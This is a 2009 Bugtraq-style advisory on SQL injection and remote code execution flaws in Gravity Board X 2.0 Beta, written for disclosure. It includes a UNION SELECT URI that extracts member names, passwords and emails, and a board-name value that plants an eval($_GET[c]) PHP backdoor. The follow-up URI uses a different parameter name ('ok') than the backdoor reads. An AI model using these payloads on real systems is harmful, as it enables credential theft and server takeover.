Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability

Bugtraq ID:	34370
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 03 2009 12:00AM
Updated:	Mar 01 2010 07:21PM
Credit:	brain[pillow]
Vulnerable:	Gravity Board X GBX 2.0 Beta
Not Vulnerable:

Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability

Gravity Board X is prone to multiple SQL-injection vulnerabilities and a remote command-execution because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to execute arbitrary code, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Gravity Board X 2.0 is vulnerable; other versions may also be affected.

Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability

Attackers can use a browser to exploit these issues.

The following example URIs and data are available:

SQL-injections:

http://www.example.com/index.php?action=viewprofile&member_id=slider-

http://www.example.com/index.php?action=viewboard&board_id=m0nzt3r-loleg-too'+union+select+0,concat_ws(char(58),displayname,pw,email),2+from+gbx_members+where+1='1

Code exec:

Go: http://www.example.com/index.php?action=configure
Enter Board Name: xXx";if(isset($_GET[c]))eval($_GET[c]);#
Go: http://www.example.com/index.php?ok=phpinfo();

The following exploit is available:

• /data/vulnerabilities/exploits/34370.pl

Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Gravity Board X Multiple SQL Injection Vulnerabilities and Remote Command Execution Vulnerability

References:

• GBX Homepage (Gravity Board X)